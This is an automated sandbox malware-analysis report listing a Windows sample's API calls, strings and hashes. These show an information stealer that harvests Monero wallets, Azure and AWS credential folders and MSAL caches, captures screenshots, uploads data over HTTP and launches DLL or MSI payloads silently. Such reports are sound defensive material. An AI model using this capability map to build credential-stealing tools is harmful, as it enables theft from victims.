Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FA4839
Part of subcall function 00FA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FA4849

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FA59F8
StrCmpCA.SHLWAPI(?,008CEB98), ref: 00FA5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FA5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,008CE9F8,00000000,?,008CA940,00000000,?,00FC1A1C), ref: 00FA5E71
lstrlen.KERNEL32(00000000), ref: 00FA5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00FA5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00FA5E9A
lstrlen.KERNEL32(00000000), ref: 00FA5EAF
lstrlen.KERNEL32(00000000), ref: 00FA5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FA5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00FA5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FA5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FA5F4C
InternetCloseHandle.WININET(00000000), ref: 00FA5FB0
InternetCloseHandle.WININET(00000000), ref: 00FA5FBD
HttpOpenRequestA.WININET(00000000,008CEA38,?,008CE268,00000000,00000000,00400100,00000000), ref: 00FA5BF8

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

InternetCloseHandle.WININET(00000000), ref: 00FA5FC7

Strings

", xrefs: 00FA5CD5
------, xrefs: 00FA5A96
------, xrefs: 00FA5C0B
------, xrefs: 00FA5D4C
", xrefs: 00FA5E16

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: df0543b229df85bcadf3ea93e5fd270fed499508605ee03e0ca2d457ae2604ff
Instruction ID: 0a040d6c85451ae64afe4c23658c21358679b69b0fb39adb14484e727d60426f
Opcode Fuzzy Hash: df0543b229df85bcadf3ea93e5fd270fed499508605ee03e0ca2d457ae2604ff
Instruction Fuzzy Hash: 99122171820118BBDB19EBA1DC96FEEB378BF14700F5041A9B10677491EF346A49EF61

Function 00FACEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FB8B60: GetSystemTime.KERNEL32(00FC0E1A,008CA8B0,00FC05AE,?,?,00FA13F9,?,0000001A,00FC0E1A,00000000,?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FB8B86

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FACF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FAD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00FAD0CE
lstrcat.KERNEL32(?,00000000), ref: 00FAD208
lstrcat.KERNEL32(?,00FC1478), ref: 00FAD217
lstrcat.KERNEL32(?,00000000), ref: 00FAD22A
lstrcat.KERNEL32(?,00FC147C), ref: 00FAD239
lstrcat.KERNEL32(?,00000000), ref: 00FAD24C
lstrcat.KERNEL32(?,00FC1480), ref: 00FAD25B
lstrcat.KERNEL32(?,00000000), ref: 00FAD26E
lstrcat.KERNEL32(?,00FC1484), ref: 00FAD27D
lstrcat.KERNEL32(?,00000000), ref: 00FAD290
lstrcat.KERNEL32(?,00FC1488), ref: 00FAD29F
lstrcat.KERNEL32(?,00000000), ref: 00FAD2B2
lstrcat.KERNEL32(?,00FC148C), ref: 00FAD2C1
lstrcat.KERNEL32(?,00000000), ref: 00FAD2D4
lstrcat.KERNEL32(?,00FC1490), ref: 00FAD2E3

Part of subcall function 00FBA820: lstrlen.KERNEL32(00FA4F05,?,?,00FA4F05,00FC0DDE), ref: 00FBA82B
Part of subcall function 00FBA820: lstrcpy.KERNEL32(00FC0DDE,00000000), ref: 00FBA885

lstrlen.KERNEL32(?), ref: 00FAD32A
lstrlen.KERNEL32(?), ref: 00FAD339

Part of subcall function 00FBAA70: StrCmpCA.SHLWAPI(008C9170,00FAA7A7,?,00FAA7A7,008C9170), ref: 00FBAA8F

DeleteFileA.KERNEL32(00000000), ref: 00FAD3B4

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: bf75de317a80cb1fe2aa5aec927b27300d8f3ab4caf13078d37845c7883d3289
Instruction ID: 4851e9ad37736658879f102b311ff3e03d5698c07f2209603eff7e8160b96e08
Opcode Fuzzy Hash: bf75de317a80cb1fe2aa5aec927b27300d8f3ab4caf13078d37845c7883d3289
Instruction Fuzzy Hash: 2FE15D71910108ABCB18EBE1ED96EEE7778BF54301F104068F117B7091DE39AA59EF62

Function 00FAC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,008CD498,00000000,?,00FC144C,00000000,?,?), ref: 00FACA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00FACA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00FACA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FACAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00FACAD9
StrStrA.SHLWAPI(?,008CD4B0,00FC0B52), ref: 00FACAF7
StrStrA.SHLWAPI(00000000,008CD3D8), ref: 00FACB1E
StrStrA.SHLWAPI(?,008CDD60,00000000,?,00FC1458,00000000,?,00000000,00000000,?,008C90E0,00000000,?,00FC1454,00000000,?), ref: 00FACCA2
StrStrA.SHLWAPI(00000000,008CDB00), ref: 00FACCB9

Part of subcall function 00FAC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FAC871
Part of subcall function 00FAC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FAC87C

StrStrA.SHLWAPI(?,008CDB00,00000000,?,00FC145C,00000000,?,00000000,008C91F0), ref: 00FACD5A
StrStrA.SHLWAPI(00000000,008C8FE0), ref: 00FACD71

Part of subcall function 00FAC820: lstrcat.KERNEL32(?,00FC0B46), ref: 00FAC943
Part of subcall function 00FAC820: lstrcat.KERNEL32(?,00FC0B47), ref: 00FAC957
Part of subcall function 00FAC820: lstrcat.KERNEL32(?,00FC0B4E), ref: 00FAC978

lstrlen.KERNEL32(00000000), ref: 00FACE44
CloseHandle.KERNEL32(00000000), ref: 00FACE9C

Strings

, xrefs: 00FAC9C6

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 50e48f85e149a37368dcc4d6ceb994ea5e09e6983af762bbfed34d05e69fda38
Instruction ID: c18e402114fa3d83d65a281eb92e967f93de3c18571697b95138a2f9835952bd
Opcode Fuzzy Hash: 50e48f85e149a37368dcc4d6ceb994ea5e09e6983af762bbfed34d05e69fda38
Instruction Fuzzy Hash: FEE1EB71D00108ABDB18EBE5DC92FEEB7B8AF54300F404169F11667591EF38AA4ADF61

Function 00FB8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

RegOpenKeyExA.ADVAPI32(00000000,008CAFE8,00000000,00020019,00000000,00FC05B6), ref: 00FB83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FB8426
wsprintfA.USER32 ref: 00FB8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00FB847B
RegCloseKey.ADVAPI32(00000000), ref: 00FB848C
RegCloseKey.ADVAPI32(00000000), ref: 00FB8499

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Strings

?, xrefs: 00FB837A
%s\%s, xrefs: 00FB844D
- , xrefs: 00FB85A3

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: ec6989de3229f6ff75c37167cfce7f473764d4dabdb21fbd13fd2cadee65699c
Instruction ID: 9599d70cf9adad2a3a97a5418eeed289f941017aa6f0d7103da4b276cba58437
Opcode Fuzzy Hash: ec6989de3229f6ff75c37167cfce7f473764d4dabdb21fbd13fd2cadee65699c
Instruction Fuzzy Hash: 4E810071910118ABDB28DB91DD95FEA77BCBF48700F008299E10AA6180DF75AF86DF90

Function 00FB4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FB4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00FB4DCD

Part of subcall function 00FB4910: wsprintfA.USER32 ref: 00FB492C
Part of subcall function 00FB4910: FindFirstFileA.KERNEL32(?,?), ref: 00FB4943

lstrcat.KERNEL32(?,00000000), ref: 00FB4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00FB4E59

Part of subcall function 00FB4910: StrCmpCA.SHLWAPI(?,00FC0FDC), ref: 00FB4971
Part of subcall function 00FB4910: StrCmpCA.SHLWAPI(?,00FC0FE0), ref: 00FB4987
Part of subcall function 00FB4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FB4B7D
Part of subcall function 00FB4910: FindClose.KERNEL32(000000FF), ref: 00FB4B92

lstrcat.KERNEL32(?,00000000), ref: 00FB4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00FB4EE5

Part of subcall function 00FB4910: wsprintfA.USER32 ref: 00FB49B0
Part of subcall function 00FB4910: StrCmpCA.SHLWAPI(?,00FC08D2), ref: 00FB49C5
Part of subcall function 00FB4910: wsprintfA.USER32 ref: 00FB49E2
Part of subcall function 00FB4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00FB4A1E
Part of subcall function 00FB4910: lstrcat.KERNEL32(?,008CEB18), ref: 00FB4A4A
Part of subcall function 00FB4910: lstrcat.KERNEL32(?,00FC0FF8), ref: 00FB4A5C
Part of subcall function 00FB4910: lstrcat.KERNEL32(?,?), ref: 00FB4A70
Part of subcall function 00FB4910: lstrcat.KERNEL32(?,00FC0FFC), ref: 00FB4A82
Part of subcall function 00FB4910: lstrcat.KERNEL32(?,?), ref: 00FB4A96
Part of subcall function 00FB4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00FB4AAC
Part of subcall function 00FB4910: DeleteFileA.KERNEL32(?), ref: 00FB4B31

Strings

msal.cache, xrefs: 00FB4EF0
*.*, xrefs: 00FB4E64
Azure\.IdentityService, xrefs: 00FB4EEB
Azure\.azure, xrefs: 00FB4DD3
*.*, xrefs: 00FB4DD8
\.IdentityService\, xrefs: 00FB4ED9
Azure\.aws, xrefs: 00FB4E5F
\.azure\, xrefs: 00FB4DC1
\.aws\, xrefs: 00FB4E4D

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: bc030e35e2db75941ee5b6d0c942a12abff8984592adf7805256c41ef3f1180d
Instruction ID: a80a106aadd60e93a223f362e94a01e6e549016fa864eb362ddd50018d13c9a3
Opcode Fuzzy Hash: bc030e35e2db75941ee5b6d0c942a12abff8984592adf7805256c41ef3f1180d
Instruction Fuzzy Hash: 7D41B6BA94020867DB24F7B0ED47FED3778AB65701F0044587185A60C2EEB89BD99F93

Function 00FB9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00FB906C

Strings

image/jpeg, xrefs: 00FB9136

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: e22cb3702372cc771bf48b8ed91694968819f0ef1c9441912ffda07f6f21d89e
Instruction ID: c4298a47ff954252cfb045e3bb44db3cd2bf5b1e3deeb6c86cb812543349dc97
Opcode Fuzzy Hash: e22cb3702372cc771bf48b8ed91694968819f0ef1c9441912ffda07f6f21d89e
Instruction Fuzzy Hash: C871DBB5D10208ABDB14DFE4E889FEDB7B9BF48700F108518F615AB284DB74A945DB60

Function 00FB2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

ShellExecuteEx.SHELL32(0000003C), ref: 00FB31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00FB335D
ShellExecuteEx.SHELL32(0000003C), ref: 00FB34EA

Strings

.msi, xrefs: 00FB3398
C:\Windows\system32\rundll32.exe, xrefs: 00FB3332
.dll, xrefs: 00FB31E5
C:\Windows\system32\msiexec.exe, xrefs: 00FB34BF
/passive, xrefs: 00FB345B
/i ", xrefs: 00FB33E4
<, xrefs: 00FB3490
"" , xrefs: 00FB309A

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 1ff6c452f12678ff0d1a4665775aa770ba57086918066a5d9ca5ec4cded1e7d3
Instruction ID: e2323205ac531fd3aa057574ef89be54af65dd972b2eab2fb6e3d027ed0c21f9
Opcode Fuzzy Hash: 1ff6c452f12678ff0d1a4665775aa770ba57086918066a5d9ca5ec4cded1e7d3
Instruction Fuzzy Hash: 27122271800108EADB19FBA1DC92FEDB778AF14300F544169F50676591EF386B4AEFA2

Function 00FB52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA6280: InternetOpenA.WININET(00FC0DFE,00000001,00000000,00000000,00000000), ref: 00FA62E1
Part of subcall function 00FA6280: StrCmpCA.SHLWAPI(?,008CEB98), ref: 00FA6303
Part of subcall function 00FA6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FA6335
Part of subcall function 00FA6280: HttpOpenRequestA.WININET(00000000,GET,?,008CE268,00000000,00000000,00400100,00000000), ref: 00FA6385
Part of subcall function 00FA6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FA63BF
Part of subcall function 00FA6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FA63D1

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FB5318
lstrlen.KERNEL32(00000000), ref: 00FB532F

Part of subcall function 00FB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FB8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00FB5364
lstrlen.KERNEL32(00000000), ref: 00FB5383
lstrlen.KERNEL32(00000000), ref: 00FB53AE

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Strings

ERROR, xrefs: 00FB5432
ERROR, xrefs: 00FB53B9
ERROR, xrefs: 00FB530A
ERROR, xrefs: 00FB546F
ERROR, xrefs: 00FB54A9

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
